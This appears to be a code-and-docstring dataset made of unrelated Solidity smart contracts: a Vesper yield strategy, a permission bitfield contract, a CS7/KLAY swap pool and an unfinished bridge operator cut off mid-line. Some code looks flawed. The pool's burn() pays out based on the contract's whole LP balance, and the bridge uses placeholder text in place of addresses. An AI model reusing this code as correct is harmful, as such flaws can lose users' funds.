tokens function approveToken() external onlyKeeper { _approveToken(0); _approveToken(MAX_UINT_VALUE); } function setupOracles() external onlyKeeper { _setupOracles(); } /** * @dev Withdraw collateral token from lending pool. * @param _amount Amount of collateral token */ function withdraw(uint256 _amount) external override onlyPool { _withdraw(_amount); } /** * @dev Rebalance profit, loss and investment of this strategy */ function rebalance() external virtual override onlyKeeper { (uint256 _profit, uint256 _loss, uint256 _payback) = _generateReport(); IVesperPool(pool).reportEarning(_profit, _loss, _payback); _reinvest(); } /** * @dev sweep given token to feeCollector of strategy * @param _fromToken token address to sweep */ function sweepERC20(address _fromToken) external override onlyKeeper { require(feeCollector != address(0), "fee-collector-not-set"); require(_fromToken != address(collateralToken), "not-allowed-to-sweep-collateral"); require(!isReservedToken(_fromToken), "not-allowed-to-sweep"); if (_fromToken == ETH) { Address.sendValue(payable(feeCollector), address(this).balance); } else { uint256 _amount = IERC20(_fromToken).balanceOf(address(this)); IERC20(_fromToken).safeTransfer(feeCollector, _amount); } } /// @notice Returns address of token correspond to collateral token function token() external view override returns (address) { return receiptToken; } /** * @notice Calculate total value of asset under management * @dev Report total value in collateral token */ function totalValue() public view virtual override returns (uint256 _value); /** * @notice Calculate total value of asset under management (in real-time) * @dev Report total value in collateral token */ function totalValueCurrent() external virtual override returns (uint256) { return totalValue(); } /// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep. function isReservedToken(address _token) public view virtual override returns (bool); /** * @notice some strategy may want to prepare before doing migration. Example In Maker old strategy want to give vault ownership to new strategy * @param _newStrategy . */ function _beforeMigration(address _newStrategy) internal virtual; /** * @notice Generate report for current profit and loss. Also liquidate asset to payback * excess debt, if any. * @return _profit Calculate any realized profit and convert it to collateral, if not already. * @return _loss Calculate any loss that strategy has made on investment. Convert into collateral token. * @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt. */ function _generateReport() internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _payback ) { uint256 _excessDebt = IVesperPool(pool).excessDebt(address(this)); uint256 _totalDebt = IVesperPool(pool).totalDebtOf(address(this)); _profit = _realizeProfit(_totalDebt); _loss = _realizeLoss(_totalDebt); _payback = _liquidate(_excessDebt); } function _calcAmtOutAfterSlippage(uint256 _amount, uint256 _slippage) internal pure returns (uint256) { return (_amount * (10000 - _slippage)) / (10000); } function _simpleOraclePath(address _from, address _to) internal view returns (address[] memory path) { if (_from == WETH || _to == WETH) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = WETH; path[2] = _to; } } function _consultOracle( address _from, address _to, uint256 _amt ) internal returns (uint256, bool) { // from, to, amountIn, period, router (uint256 rate, uint256 lastUpdate, ) = swapManager.consult(_from, _to, _amt, oraclePeriod, oracleRouterIdx); // We're looking at a TWAP ORACLE with a 1 hr Period that has been updated within the last hour if ((lastUpdate > (block.timestamp - oraclePeriod)) && (rate != 0)) return (rate, true); return (0, false); } function _getOracleRate(address[] memory path, uint256 _amountIn) internal returns (uint256 amountOut) { require(path.length > 1, "invalid-oracle-path"); amountOut = _amountIn; bool isValid; for (uint256 i = 0; i < path.length - 1; i++) { (amountOut, isValid) = _consultOracle(path[i], path[i + 1], amountOut); require(isValid, "invalid-oracle-rate"); } } /** * @notice Safe swap via Uniswap / Sushiswap (better rate of the two) * @dev There are many scenarios when token swap via Uniswap can fail, so this * method will wrap Uniswap call in a 'try catch' to make it fail safe. * however, this method will throw minAmountOut is not met * @param _from address of from token * @param _to address of to token * @param _amountIn Amount to be swapped * @param _minAmountOut minimum amount out */ function _safeSwap( address _from, address _to, uint256 _amountIn, uint256 _minAmountOut ) internal { (address[] memory path, uint256 amountOut, uint256 rIdx) = swapManager.bestOutputFixedInput(_from, _to, _amountIn); if (_minAmountOut == 0) _minAmountOut = 1; if (amountOut != 0) { swapManager.ROUTERS(rIdx).swapExactTokensForTokens( _amountIn, _minAmountOut, path, address(this), block.timestamp ); } } // These methods can be implemented by the inheriting strategy. /* solhint-disable no-empty-blocks */ function _claimRewardsAndConvertTo(address _toToken) internal virtual {} /** * @notice Set up any oracles that are needed for this strategy. */ function _setupOracles() internal virtual {} /* solhint-enable */ // These methods must be implemented by the inheriting strategy function _withdraw(uint256 _amount) internal virtual; function _approveToken(uint256 _amount) internal virtual; /** * @notice Withdraw collateral to payback excess debt in pool. * @param _excessDebt Excess debt of strategy in collateral token * @return _payback amount in collateral token. Usually it is equal to excess debt. */ function _liquidate(uint256 _excessDebt) internal virtual returns (uint256 _payback); /** * @notice Calculate earning and withdraw/convert it into collateral token. * @param _totalDebt Total collateral debt of this strategy * @return _profit Profit in collateral token */ function _realizeProfit(uint256 _totalDebt) internal virtual returns (uint256 _profit); /** * @notice Calculate loss * @param _totalDebt Total collateral debt of this strategy * @return _loss Realized loss in collateral token */ function _realizeLoss(uint256 _totalDebt) internal virtual returns (uint256 _loss); /** * @notice Reinvest collateral. * @dev Once we file report back in pool, we might have some collateral in hand * which we want to reinvest aka deposit in lender/provider. */ function _reinvest() internal virtual; } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "../../interfaces/vesper/IVesperPool.sol"; import "../Strategy.sol"; /// @title This Strategy will deposit collateral token in a Vesper Grow Pool abstract contract VesperStrategy is Strategy { using SafeERC20 for IERC20; // solhint-disable-next-line var-name-mixedcase string public NAME; string public constant VERSION = "3.0.22"; address internal immutable vsp; IVesperPool internal immutable vToken; constructor( address _pool, address _swapManager, address _receiptToken, address _vsp, string memory _name ) Strategy(_pool, _swapManager, _receiptToken) { require(_receiptToken != address(0), "vToken-address-is-zero"); vToken = IVesperPool(_receiptToken); NAME = _name; vsp = _vsp; } /** * @notice Calculate total value using underlying vToken * @dev Report total value in collateral token */ function totalValue() public view override returns (uint256 _totalValue) { _totalValue = _getCollateralBalance(); } function isReservedToken(address _token) public view override returns (bool) { return _token == address(vToken); } /// @notice Approve all required tokens function _approveToken(uint256 _amount) internal virtual override { collateralToken.safeApprove(pool, _amount); collateralToken.safeApprove(address(vToken), _amount); for (uint256 i = 0; i < swapManager.N_DEX(); i++) { IERC20(vsp).safeApprove(address(swapManager.ROUTERS(i)), _amount); } } /** * @notice Before migration hook. * @param _newStrategy Address of new strategy. */ //solhint-disable-next-line no-empty-blocks function _beforeMigration(address _newStrategy) internal override {} /// @notice Withdraw collateral to payback excess debt function _liquidate(uint256 _excessDebt) internal override returns (uint256 _payback) { if (_excessDebt != 0) { _payback = _safeWithdraw(_excessDebt); } } /** * @notice Calculate earning and withdraw it from Vesper Grow. * @param _totalDebt Total collateral debt of this strategy * @return profit in collateral token */ function _realizeProfit(uint256 _totalDebt) internal virtual override returns (uint256) { _claimRewardsAndConvertTo(address(collateralToken)); uint256 _collateralBalance = _getCollateralBalance(); if (_collateralBalance > _totalDebt) { _withdrawHere(_collateralBalance - _totalDebt); } return collateralToken.balanceOf(address(this)); } /// @notice Claim VSP rewards in underlying Grow Pool, if any function _claimRewardsAndConvertTo(address _toToken) internal virtual override { uint256 _vspAmount = IERC20(vsp).balanceOf(address(this)); if (_vspAmount != 0) { _safeSwap(vsp, _toToken, _vspAmount, 1); } } /** * @notice Calculate realized loss. * @return _loss Realized loss in collateral token */ function _realizeLoss(uint256 _totalDebt) internal view override returns (uint256 _loss) { uint256 _collateralBalance = _getCollateralBalance(); if (_collateralBalance < _totalDebt) { _loss = _totalDebt - _collateralBalance; } } /// @notice Deposit collateral in Vesper Grow function _reinvest() internal virtual override { uint256 _collateralBalance = collateralToken.balanceOf(address(this)); if (_collateralBalance != 0) { vToken.deposit(_collateralBalance); } } /// @dev Withdraw collateral and transfer it to pool function _withdraw(uint256 _amount) internal override { _safeWithdraw(_amount); collateralToken.safeTransfer(pool, collateralToken.balanceOf(address(this))); } /** * @notice Safe withdraw will make sure to check asking amount against available amount. * @param _amount Amount of collateral to withdraw. * @return Actual collateral withdrawn */ function _safeWithdraw(uint256 _amount) internal returns (uint256) { uint256 _collateralBalance = _getCollateralBalance(); // Get minimum of _amount and _collateralBalance return _withdrawHere(_amount < _collateralBalance ? _amount : _collateralBalance); } /// @dev Withdraw collateral here. Do not transfer to pool function _withdrawHere(uint256 _amount) internal returns (uint256) { uint256 _collateralBefore = collateralToken.balanceOf(address(this)); vToken.whitelistedWithdraw(_convertToShares(_amount)); return collateralToken.balanceOf(address(this)) - _collateralBefore; } /// @dev Gets collateral balance deposited into Vesper Grow Pool function _getCollateralBalance() internal view returns (uint256) { uint256 _totalSupply = vToken.totalSupply(); // avoids division by zero error when pool is empty return (_totalSupply != 0) ? (vToken.totalValue() * vToken.balanceOf(address(this))) / _totalSupply : 0; } /// @dev Converts a collateral amount in its relative shares for Vesper Grow Pool function _convertToShares(uint256 _collateralAmount) internal view returns (uint256) { uint256 _totalValue = vToken.totalValue(); return (_totalValue != 0) ? (_collateralAmount * vToken.totalSupply()) / _totalValue : 0; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "../../Earn.sol"; import "../VesperStrategy.sol"; import "../../../interfaces/vesper/IVesperPool.sol"; /// @title This Earn strategy will deposit collateral token in a Vesper Grow Pool /// and converts the yield to another Drip Token // solhint-disable no-empty-blocks contract EarnVesperStrategy is VesperStrategy, Earn { using SafeERC20 for IERC20; constructor( address _pool, address _swapManager, address _receiptToken, address _dripToken, address _vsp, string memory _name ) VesperStrategy(_pool, _swapManager, _receiptToken, _vsp, _name) Earn(_dripToken) {} /// @notice Approve all required tokens function _approveToken(uint256 _amount) internal virtual override(VesperStrategy, Strategy) { collateralToken.safeApprove(pool, _amount); collateralToken.safeApprove(address(vToken), _amount); for (uint256 i = 0; i < swapManager.N_DEX(); i++) { IERC20(vsp).safeApprove(address(swapManager.ROUTERS(i)), _amount); collateralToken.safeApprove(address(swapManager.ROUTERS(i)), _amount); } } /** * @notice Calculate earning and withdraw it from Vesper Grow. * @param _totalDebt Total collateral debt of this strategy * @return profit in collateral token */ function _realizeProfit(uint256 _totalDebt) internal virtual override(VesperStrategy, Strategy) returns (uint256) { _claimRewardsAndConvertTo(address(dripToken)); uint256 _collateralBalance = _getCollateralBalance(); if (_collateralBalance > _totalDebt) { _withdrawHere(_collateralBalance - _totalDebt); } _convertCollateralToDrip(); _forwardEarning(); return 0; } /// @notice Claim VSP rewards in underlying Grow Pool, if any function _claimRewardsAndConvertTo(address _toToken) internal virtual override(VesperStrategy, Strategy) { VesperStrategy._claimRewardsAndConvertTo(_toToken); } }
Converts a collateral amount in its relative shares for Vesper Grow Pool
function _convertToShares(uint256 _collateralAmount) internal view returns (uint256) { uint256 _totalValue = vToken.totalValue(); return (_totalValue != 0) ? (_collateralAmount * vToken.totalSupply()) / _totalValue : 0; }
13,171
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; /** * @title Contract for setting abilities. * @dev For optimization purposes the abilities are represented as a bitfield. Maximum number of * abilities is therefore 256. This is an example(for simplicity is made for max 8 abilities) of how * this works. * 00000001 Ability A - number representation 1 * 00000010 Ability B - number representation 2 * 00000100 Ability C - number representation 4 * 00001000 Ability D - number representation 8 * 00010000 Ability E - number representation 16 * etc ... * To grant abilities B and C, we would need a bitfield of 00000110 which is represented by number * 6, in other words, the sum of abilities B and C. The same concept works for revoking abilities * and checking if someone has multiple abilities. */ contract Abilitable { /** * @dev Error constants. */ string constant NOT_AUTHORIZED = "017001"; string constant INVALID_INPUT = "017002"; /** * @dev Ability 1 (00000001) is a reserved ability called super ability. It is an * ability to grant or revoke abilities of other accounts. */ uint8 constant SUPER_ABILITY = 1; /** * @dev Ability 2 (00000010) is a reserved ability called allow manage ability. It is a specific * ability bounded to atomic orders. The order maker has to have this ability to to grant or * revoke abilities of other accounts trough abilitable gateway. */ uint8 constant ALLOW_SUPER_ABILITY = 2; /** * @dev Ability 4 (00000100) is a reserved ability for possible future abilitable extensions. */ uint8 constant EMPTY_SLOT_1 = 4; /** * @dev Ability 8 (00001000) is a reserved ability for possible future abilitable extensions. */ uint8 constant EMPTY_SLOT_2 = 8; /** * @dev All basic abilities. SUPER_ABILITY + ALLOW_MANAGE_ABILITY + EMPTY_SLOT_1 + EMPTY_SLOT_2. */ uint8 constant ALL_DEFAULT_ABILITIES = 15; /** * @dev Maps address to ability ids. */ mapping(address => uint256) public addressToAbility; /** * @dev Emits when address abilities are changed. * @param _target Address of which the abilities where changed. * @param _abilities New abilitites. */ event SetAbilities( address indexed _target, uint256 indexed _abilities ); /** * @dev Guarantees that msg.sender has certain abilities. */ modifier hasAbilities( uint256 _abilities ) { require(_abilities > 0, INVALID_INPUT); require( addressToAbility[msg.sender] & _abilities == _abilities, NOT_AUTHORIZED ); _; } /** * @dev Contract constructor. * Sets SUPER_ABILITY ability to the sender account. */ constructor() { addressToAbility[msg.sender] = ALL_DEFAULT_ABILITIES; } /** * @dev Grants specific abilities to specified address. * @param _target Address to grant abilities to. * @param _abilities Number representing bitfield of abilities we are granting. */ function grantAbilities( address _target, uint256 _abilities ) external hasAbilities(SUPER_ABILITY) { addressToAbility[_target] |= _abilities; emit SetAbilities(_target, addressToAbility[_target]); } /** * @dev Unassigns specific abilities from specified address. * @param _target Address of which we revoke abilites. * @param _abilities Number representing bitfield of abilities we are revoking. */ function revokeAbilities( address _target, uint256 _abilities ) external hasAbilities(SUPER_ABILITY) { addressToAbility[_target] &= ~_abilities; emit SetAbilities(_target, addressToAbility[_target]); } /** * @dev Sets specific abilities to specified address. * @param _target Address to which we are setting abilitites. * @param _abilities Number representing bitfield of abilities we are setting. */ function setAbilities( address _target, uint256 _abilities ) external hasAbilities(SUPER_ABILITY) { addressToAbility[_target] = _abilities; emit SetAbilities(_target, _abilities); } /** * @dev Check if an address has a specific ability. Throws if checking for 0. * @param _target Address for which we want to check if it has a specific abilities. * @param _abilities Number representing bitfield of abilities we are checking. */ function isAble( address _target, uint256 _abilities ) external view returns (bool) { require(_abilities > 0, INVALID_INPUT); return (addressToAbility[_target] & _abilities) == _abilities; } }
Grants specific abilities to specified address. _target Address to grant abilities to. _abilities Number representing bitfield of abilities we are granting./
function grantAbilities( address _target, uint256 _abilities ) external hasAbilities(SUPER_ABILITY) { addressToAbility[_target] |= _abilities; emit SetAbilities(_target, addressToAbility[_target]); }
7,290,609
pragma solidity 0.5.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "./interfaces/IChoongSungPool.sol"; import "./interfaces/IChoongSungStaking.sol"; import "./ChoongSungLPToken.sol"; contract ChoongSungPool is IChoongSungPool { using SafeMath for uint256; using SafeERC20 for IERC20; uint public constant MINIMUM_LIQUIDITY = 10 ** 3; uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'CS7Pool: LOCKED'); unlocked = 0; _; unlocked = 1; } event SwapToCS7(address indexed from, uint256 amount); event SwapToKlay(address indexed from, uint256 amount); event AddLiquidity(uint256 amountCS7, uint256 amountKlay); event RemoveLiquidity(uint256 amountCS7, uint256 amountKlay); event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Sync(uint112 reserve0, uint112 reserve1); event SupplyReward(uint256 amount); event ClaimReward(address indexed user, uint256 amount); IERC20 public _cs7; IChoongSungStaking public _staking; ChoongSungLPToken public _lp; address public devAddress; uint112 private _reserveCS7; uint112 private _reserveKLAY; uint256 public totalLiquidity; uint256 public totalReward; mapping(address => uint) public rewardDebtOf; mapping(address => uint) public rewardSurplusOf; constructor(address cs7, address staking, address lp, address _devAddress) public { _cs7 = IERC20(cs7); _staking = IChoongSungStaking(staking); _lp = ChoongSungLPToken(lp); devAddress = _devAddress; } function getReserves() external view returns (uint112 reserveCS7, uint112 reserveKLAY) { reserveCS7 = _reserveCS7; reserveKLAY = _reserveKLAY; } function buyCS7() external payable { require(msg.value > 0, 'CS7Pool: INSUFFICIENT_AMOUNT'); uint256 addedKlay = msg.value; uint256 cs7Before = _reserveCS7; uint256 klayBefore = _reserveKLAY; uint256 newCS7 = addedKlay.mul(cs7Before).div(klayBefore.add(addedKlay)); require(newCS7 > 0, 'CS7Pool: INSUFFICIENT_SWAP_AMOUNT'); uint256 fee = newCS7.div(10); _distributeFee(fee); _cs7.transfer(msg.sender, newCS7.sub(fee)); // refresh cache variables _reserveCS7 = uint112(cs7Before.sub(newCS7)); _reserveKLAY = uint112(klayBefore.add(addedKlay)); emit SwapToCS7(msg.sender, addedKlay); } function sellCS7(uint256 amount) external { require(amount > 0, 'CS7Pool: INSUFFICIENT_AMOUNT'); uint256 fee = amount.div(10); uint256 klayBefore = _reserveKLAY; uint256 cs7Before = _reserveCS7; uint256 newKlay = amount.sub(fee).mul(klayBefore).div(cs7Before.add(amount.sub(fee))); require(newKlay > 0, 'CS7Pool: INSUFFICIENT_SWAP_AMOUNT'); _cs7.transferFrom(msg.sender, address(this), amount); msg.sender.transfer(newKlay); _distributeFee(fee); // refresh cache variables _reserveCS7 = uint112(cs7Before.add(amount.sub(fee))); _reserveKLAY = uint112(klayBefore.sub(newKlay)); emit SwapToKlay(msg.sender, amount); } function addLiquidity(uint256 amountCS7) external payable { require(amountCS7 > 0 && msg.value > 0, "CS7Pool: INSUFFICIENT_AMOUNTS"); // verified amount uint256 _amountCS7 = 0; uint256 _amountKlay = 0; (_amountCS7, _amountKlay) = _addLiquidity(amountCS7, msg.value); uint256 totalLiquidityBefore = totalLiquidity; // if verified klay amount was less than paid klay, refund diff (bool result, uint256 diff) = trySub(_amountKlay, msg.value); if (diff > 0) { msg.sender.transfer(diff); } _cs7.transferFrom(msg.sender, address(this), _amountCS7); uint liquidity = mint(msg.sender); // calculate debt and record it uint256 amountDept; if (totalLiquidityBefore == 0) { amountDept = 0; } else { amountDept = totalReward.mul(liquidity).div(totalLiquidityBefore); } rewardDebtOf[msg.sender] = rewardDebtOf[msg.sender].add(amountDept); totalReward = totalReward.add(amountDept); } function removeLiquidity(uint liquidity) external { address payable user = msg.sender; require(liquidity > 0, "CS7Pool: INVALID_LIQUIDITY_TO_BURN"); require(_lp.balanceOf(user) >= liquidity, "CS7Pool: INSUFFICIENT_LIQUIDITY_TO_BURN"); // calculate surplus and record it uint256 amountSurplus; if (totalLiquidity == 0) { amountSurplus = 0; } else { amountSurplus = totalReward.mul(liquidity).div(totalLiquidity); } rewardSurplusOf[user] = rewardSurplusOf[user].add(amountSurplus); totalReward = totalReward.sub(amountSurplus); _lp.transferFrom(msg.sender, address(this), liquidity); burn(liquidity, user); } function _addLiquidity(uint256 amountCS7Desired, uint256 amountKlayDesired) internal view returns (uint256 amountA, uint256 amountB) { // empty pool // set added liquidity if (_reserveCS7 == 0 && _reserveKLAY == 0) { return (amountCS7Desired, amountKlayDesired); } // 1. if amountKlayDesired is greater than or equal to klay min amount uint klayMinAmount = _quote(amountCS7Desired, _reserveCS7, _reserveKLAY); if (klayMinAmount <= amountKlayDesired) { return (amountCS7Desired, klayMinAmount); } // 2. if amountKlayDesired is less than needed klay min amount uint cs7MinAmount = _quote(amountKlayDesired, _reserveKLAY, _reserveCS7); require(amountCS7Desired >= cs7MinAmount, 'CS7Pool: INSUFFICIENT_CS7_AMOUNT'); return (cs7MinAmount, amountKlayDesired); } function _quote(uint256 amountA, uint256 reserveA, uint256 reserveB) internal pure returns (uint256 amountB) { require(amountA > 0, 'CS7Pool: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'CS7Pool: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB).div(reserveA); } // update reserves and, on the first call per block, price accumulators function _update(uint balanceCS7, uint balanceKLAY) private { // using underflow, to get max value of uint112 require(balanceCS7 <= uint112(- 1) && balanceKLAY <= uint112(- 1), 'CS7Pool: OVERFLOW'); _reserveCS7 = uint112(balanceCS7); _reserveKLAY = uint112(balanceKLAY); emit Sync(_reserveCS7, _reserveKLAY); } // calculate LP token amount, give it to sender function mint(address to) internal lock returns (uint liquidity) { // gas savings uint balanceCS7 = _cs7.balanceOf(address(this)); uint balanceKLAY = address(this).balance; uint amountCS7 = balanceCS7.sub(_reserveCS7); uint amountKLAY = balanceKLAY.sub(_reserveKLAY); if (totalLiquidity == 0) { liquidity = sqrt(amountCS7.mul(amountKLAY)); uint256 verified = Math.min(liquidity, MINIMUM_LIQUIDITY); liquidity = liquidity.sub(verified); _lp.mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amountCS7.mul(totalLiquidity).div(_reserveCS7), amountKLAY.mul(totalLiquidity).div(_reserveKLAY)); } require(liquidity > 0, 'CS7Pool: INSUFFICIENT_LIQUIDITY_MINTED'); _lp.mint(to, liquidity); totalLiquidity = totalLiquidity.add(liquidity); _update(balanceCS7, balanceKLAY); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amountCS7, amountKLAY); } // this low-level function should be called from a contract which performs important safety checks function burn(uint liquidityToBurn, address payable to) internal lock returns (uint amountCS7, uint amountKLAY) { uint balanceCS7 = _cs7.balanceOf(address(this)); uint balanceKLAY = address(this).balance; uint liquidity = _lp.balanceOf(address(this)); amountCS7 = balanceCS7.mul(liquidity).div(totalLiquidity); amountKLAY = balanceKLAY.mul(liquidity).div(totalLiquidity); require(amountCS7 > 0 && amountKLAY > 0, 'CS7Pool: INSUFFICIENT_LIQUIDITY_BURNED'); _lp.burn(address(this), liquidityToBurn); totalLiquidity = totalLiquidity.sub(liquidityToBurn); _cs7.transfer(to, amountCS7); to.transfer(amountKLAY); balanceCS7 = _cs7.balanceOf(address(this)); balanceKLAY = address(this).balance; _update(balanceCS7, balanceKLAY); emit Burn(msg.sender, amountCS7, amountKLAY, to); } function supplyLiquidityReward(uint256 amount) internal { require(amount > 0, "supplyReward amount should be positive"); totalReward = totalReward.add(amount); emit SupplyReward(amount); } function liquidity(address account) external view returns (uint256, uint256) { if (totalLiquidity == 0) { return (0, 0); } uint256 liquidityOwned = _lp.balanceOf(account); uint256 amountCS7 = uint256(_reserveCS7).mul(liquidityOwned).div(totalLiquidity); uint256 amountKLAY = uint256(_reserveKLAY).mul(liquidityOwned).div(totalLiquidity); return (amountCS7, amountKLAY); } function reward(address account) external view returns (uint256) { if (totalLiquidity == 0) { return 0; } if (totalReward == 0) { return 0; } uint256 userLiquidity = _lp.balanceOf(account); if (userLiquidity == 0) { return 0; } uint256 userRewardSurplus = rewardSurplusOf[account]; uint256 userRewardDebt = rewardDebtOf[account]; return userLiquidity.mul(totalReward).div(totalLiquidity).add(userRewardSurplus).sub(userRewardDebt); } function claimReward() external { address sender = msg.sender; // calculate user reward uint256 rewardForLiquidity; uint256 userLiquidity = _lp.balanceOf(sender); if (totalLiquidity == 0) { rewardForLiquidity = 0; } else { rewardForLiquidity = totalReward.mul(userLiquidity).div(totalLiquidity); } uint256 userRewardSurplus = rewardSurplusOf[sender]; uint256 userRewardDebt = rewardDebtOf[sender]; uint256 userReward = rewardForLiquidity.add(userRewardSurplus).sub(userRewardDebt); require(userReward > 0, "user reward should be positive"); rewardDebtOf[sender] = rewardForLiquidity; rewardSurplusOf[sender] = 0; _cs7.safeTransfer(sender, userReward); emit ClaimReward(sender, userReward); } function _distributeFee(uint256 fee) internal { uint256 stakingHoldersFee; uint256 lpProviderFee; uint256 devFee; // 6% for Staking (60% of fee) stakingHoldersFee = fee.mul(6).div(10); if (stakingHoldersFee > 0) { _cs7.approve(address(_staking), stakingHoldersFee); _staking.supplyReward(stakingHoldersFee); } // 3% for Liquidity (30% of fee) lpProviderFee = fee.mul(3).div(10); if (lpProviderFee > 0) { supplyLiquidityReward(lpProviderFee); } // 1% for CS7 (10% of fee) devFee = fee.sub(stakingHoldersFee).sub(lpProviderFee); if (devFee > 0) { _cs7.safeTransfer(devAddress, devFee); } } function dev(address _devAddress) public { require(msg.sender == devAddress); devAddress = _devAddress; } function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } }
refresh cache variables
function buyCS7() external payable { require(msg.value > 0, 'CS7Pool: INSUFFICIENT_AMOUNT'); uint256 addedKlay = msg.value; uint256 cs7Before = _reserveCS7; uint256 klayBefore = _reserveKLAY; uint256 newCS7 = addedKlay.mul(cs7Before).div(klayBefore.add(addedKlay)); require(newCS7 > 0, 'CS7Pool: INSUFFICIENT_SWAP_AMOUNT'); uint256 fee = newCS7.div(10); _distributeFee(fee); _cs7.transfer(msg.sender, newCS7.sub(fee)); _reserveCS7 = uint112(cs7Before.sub(newCS7)); _reserveKLAY = uint112(klayBefore.add(addedKlay)); emit SwapToCS7(msg.sender, addedKlay); }
6,445,304
/** MIT License Copyright (c) 2019 Mavennet Systems Inc. https://mavennet.com Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity 0.4.15; contract Owned { address public owner; address newOwner; bool private transitionState; event OwnershipTransferInitiated(address indexed _previousOwner, address indexed _newOwner); event OwnershipTransferAccepted(address indexed _newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNotOwner() { require(msg.sender != owner); _; } function Owned() { owner = msg.sender; newOwner = msg.sender; transitionState = false; } function owner() public constant returns (address) { return owner; } function isOwner() public constant returns (bool) { return msg.sender == owner; } function hasPendingTransferRequest() public constant returns (bool){ return transitionState; } function changeOwner(address _newOwner) public onlyOwner returns (bool) { require(_newOwner != address(0)); newOwner = _newOwner; transitionState = true; OwnershipTransferInitiated(owner, _newOwner); return true; } function acceptOwnership() public returns (bool){ require(newOwner == msg.sender); owner = newOwner; transitionState = false; OwnershipTransferAccepted(owner); return true; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error * @notice This is a softer (in terms of throws) variant of SafeMath: * https://github.com/OpenZeppelin/openzeppelin-solidity/pull/1121 */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal constant returns (uint256) { uint256 c; // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal constant returns (uint256) { // Solidity automatically throws when dividing by 0 // therefore require beforehand avoid throw require(_b > 0); // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal constant returns (uint256) { require(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal constant returns (uint256 c) { c = _a + _b; require(c >= _a); return c; } function max(uint256 a, uint256 b) internal constant returns (uint256) { return a > b ? a : b; } } /// @title Bridge Operator Standard implementation for AIP #005 to achieve the cross chain /// functionality for the tokens or assets on Ethereum network contract BridgeOperatorBase is Owned { using SafeMath for uint256; uint256 constant MAX_SIGNATORIES = 32; uint256 internal signatoriesCount; uint256 internal approval; mapping(address => bool) internal signatories; mapping(bytes32 => bytes32) internal bundleTxMap; // this registry holds information about valid signatories SignatoryRegistry signatoryRegistry = SignatoryRegistry(signatory-registry-contract-address-here); // this address points to ATS implementation ATSTokenBase atsTokenBase = ATSTokenBase(ATS-token-contract-address-here); /// @notice informs that the given signatory is available for transfer verification event AddedSignatory(address _signatory); /// @notice informs that the given signatory can no more participate in transfer verification event RemovedSignatory(address _signatory); /// @notice bridge operator releases the asset on the destination chain at the end of bundle verification event Distributed( bytes32 indexed sourceTransactionHash, address indexed recipient, uint256 indexed amount, bytes32 initTransferHash ); /// @notice the bundle has been processed without any errors event ProcessedBundle( bytes32 indexed sourceBlockHash, bytes32 indexed bundleHash ); /// @notice inform that the bundle has already been processed event SuccessfulTransactionHash( bytes32 indexed destinationTransactionHash ); function BridgeOperatorBase() public { signatoriesCount = 0; } /// @notice initialize the group of signatories for the bridge operator /// @dev signatories cannot be reinitialized if already initialized /// @param _signatories list of signatory addresses function initializeSignatories(address[] _signatories) public onlyOwner { require(_signatories.length != 0); require(_signatories.length < MAX_SIGNATORIES); require(signatoriesCount == 0); require(signatoriesCount < MAX_SIGNATORIES); for (uint256 i=0; i < _signatories.length; i++) { if (signatoryRegistry.isValid(address(_signatories[i]))) { signatories[_signatories[i]] = true; signatoriesCount++; } } require(signatoriesCount > 0); uint256 count = signatoriesCount.mul(2).div(3); approval = count.max(1); } /// @notice bridge operator onboards a signatory after initializing the bridge /// @param _signatory signatory address function addSignatory(address _signatory) public onlyOwner { require(_signatory != 